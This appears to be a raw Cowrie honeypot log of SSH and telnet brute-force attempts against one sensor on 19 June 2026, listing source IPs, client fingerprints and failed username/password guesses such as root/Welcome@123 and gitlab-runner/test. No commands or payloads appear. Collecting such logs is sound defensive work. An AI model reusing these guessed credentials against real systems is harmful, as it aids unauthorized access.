{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:16:0a:79:4d:9e:50:41:02:52:29:2c:31:df:e7:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxdWTq0oif8CrVrL0oFPdw9URG2/m/oqThVExut2NrW+4ND6vxAsWQBdCwyxkrrheC4VyFqluJzN21iDwDGOBaJuV0l3XL+tyTmFkXY3peOZ/OoC7tnlczYq+HT6z6UdSjQ7pnVIcCh8iR1owhoVWP2atA6rRnHhXrCbU90efGji7ShXbJC961skqP05l4mkFcdj4uCF+YQkTFJYKiTLM9GG/JjPaTEgpr2b/UpTCcyyBZ/TuCEa4IePOX1PkdxPLfz4zvPAxPhTitwZHsKa+5fxXV9DIOLI1cQbPMTbOiRp39aO3CZvw2+uWtGWKufYNujRH4yWlMmsfUXXrGOV4Cw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.581925Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:91:07:97:fc:68:ac:fc:55:83:ea:56:50:4e:9a:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUJJ7HdU8sTp4af0GjR451WwLb5dTqy1ykEU5CQxUlgfjyFNhefHLG09ytdcsvWLxRdODB9/iOTOMSDO48QVJhl38gG2wZTF6YRF9xwcibsruuCR8DMk7iUyk66tY61wQIOMmG1RUxuwsjeHy23/dirsY4NtHmLB7vVT5Y/8Xvdq7VQQfo48P1p9Klc3h93oPcYk5UgWy6u7ephWYex4xqma7HqGaDwQJKV/tFWanFpg8S7tePkAhYHkhtccsNH4VZg4Ub8ZhuudrTN2rD+kHuo+LgRnDdJrpB6kukW2DLHRn0af/iVX1YAip6Go0X5AYB5YuSfDt8CmnTR9bPY9Ap","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:91:07:97:fc:68:ac:fc:55:83:ea:56:50:4e:9a:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.603470Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:91:07:97:fc:68:ac:fc:55:83:ea:56:50:4e:9a:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUJJ7HdU8sTp4af0GjR451WwLb5dTqy1ykEU5CQxUlgfjyFNhefHLG09ytdcsvWLxRdODB9/iOTOMSDO48QVJhl38gG2wZTF6YRF9xwcibsruuCR8DMk7iUyk66tY61wQIOMmG1RUxuwsjeHy23/dirsY4NtHmLB7vVT5Y/8Xvdq7VQQfo48P1p9Klc3h93oPcYk5UgWy6u7ephWYex4xqma7HqGaDwQJKV/tFWanFpg8S7tePkAhYHkhtccsNH4VZg4Ub8ZhuudrTN2rD+kHuo+LgRnDdJrpB6kukW2DLHRn0af/iVX1YAip6Go0X5AYB5YuSfDt8CmnTR9bPY9Ap","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.608033Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.635550Z","src_ip":"148.113.221.241","session":"37a2af320cf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54112,"dst_ip":"10.17.0.5","dst_port":22,"session":"50f223294ddd","protocol":"ssh","message":"New connection: 91.92.42.227:54112 (10.17.0.5:22) [session: 50f223294ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.820611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.896013Z","src_ip":"91.92.42.227","session":"50f223294ddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:15.968421Z","src_ip":"91.92.42.227","session":"50f223294ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:16.668900Z","src_ip":"91.92.42.227","session":"50f223294ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:18.022112Z","src_ip":"91.92.42.227","session":"50f223294ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39202,"dst_ip":"159.203.135.109","dst_port":22,"session":"3afbc9a92196","protocol":"ssh","message":"New connection: 103.82.132.16:39202 (159.203.135.109:22) [session: 3afbc9a92196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:21.624665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:21.629529Z","src_ip":"103.82.132.16","session":"3afbc9a92196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:21.885581Z","src_ip":"103.82.132.16","session":"3afbc9a92196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44246,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d4f3d252fe4","protocol":"ssh","message":"New connection: 27.71.230.31:44246 (10.17.0.5:22) [session: 3d4f3d252fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:21.893119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:21.907371Z","src_ip":"27.71.230.31","session":"3d4f3d252fe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"240886","message":"login attempt [root/240886] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:22.654876Z","src_ip":"103.82.132.16","session":"3afbc9a92196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54178,"dst_ip":"10.17.0.5","dst_port":22,"session":"666c04259bfb","protocol":"ssh","message":"New connection: 91.92.42.227:54178 (10.17.0.5:22) [session: 666c04259bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:22.833930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:22.904878Z","src_ip":"91.92.42.227","session":"666c04259bfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:23.003884Z","src_ip":"91.92.42.227","session":"666c04259bfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:23.564901Z","src_ip":"91.92.42.227","session":"666c04259bfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:23.914814Z","src_ip":"103.82.132.16","session":"3afbc9a92196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:25.228089Z","src_ip":"91.92.42.227","session":"666c04259bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57990,"dst_ip":"10.17.0.5","dst_port":22,"session":"725efdae3fb4","protocol":"ssh","message":"New connection: 91.92.42.227:57990 (10.17.0.5:22) [session: 725efdae3fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:29.680224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:29.748044Z","src_ip":"91.92.42.227","session":"725efdae3fb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:29.876703Z","src_ip":"91.92.42.227","session":"725efdae3fb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:30.431597Z","src_ip":"91.92.42.227","session":"725efdae3fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:31.704315Z","src_ip":"91.92.42.227","session":"725efdae3fb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59112,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd529f49aab5","protocol":"ssh","message":"New connection: 91.92.42.227:59112 (10.17.0.5:22) [session: fd529f49aab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:36.901621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:36.996002Z","src_ip":"91.92.42.227","session":"fd529f49aab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:37.007897Z","src_ip":"91.92.42.227","session":"fd529f49aab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:37.689700Z","src_ip":"91.92.42.227","session":"fd529f49aab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56238,"dst_ip":"159.203.135.109","dst_port":23,"session":"715b8d427124","protocol":"telnet","message":"New connection: 172.81.62.90:56238 (159.203.135.109:23) [session: 715b8d427124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:37.697229Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:38.561544Z","src_ip":"27.71.230.31","session":"3d4f3d252fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:38.876112Z","src_ip":"91.92.42.227","session":"fd529f49aab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59180,"dst_ip":"10.17.0.5","dst_port":22,"session":"920967adedb7","protocol":"ssh","message":"New connection: 91.92.42.227:59180 (10.17.0.5:22) [session: 920967adedb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:43.400895Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1234","message":"login attempt [root/Admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:43.884964Z","src_ip":"27.71.230.31","session":"3d4f3d252fe4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:43.984168Z","src_ip":"91.92.42.227","session":"920967adedb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:43.987707Z","src_ip":"91.92.42.227","session":"920967adedb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"test","message":"login attempt [gitlab-runner/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:45.332007Z","src_ip":"91.92.42.227","session":"920967adedb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.8","message":"Connection lost after 23.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:45.651768Z","src_ip":"27.71.230.31","session":"3d4f3d252fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:46.751645Z","src_ip":"91.92.42.227","session":"920967adedb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40580,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd2d3ab03ae1","protocol":"ssh","message":"New connection: 91.92.42.227:40580 (10.17.0.5:22) [session: dd2d3ab03ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:50.165327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:50.500291Z","src_ip":"91.92.42.227","session":"dd2d3ab03ae1","protocol":"ssh"}
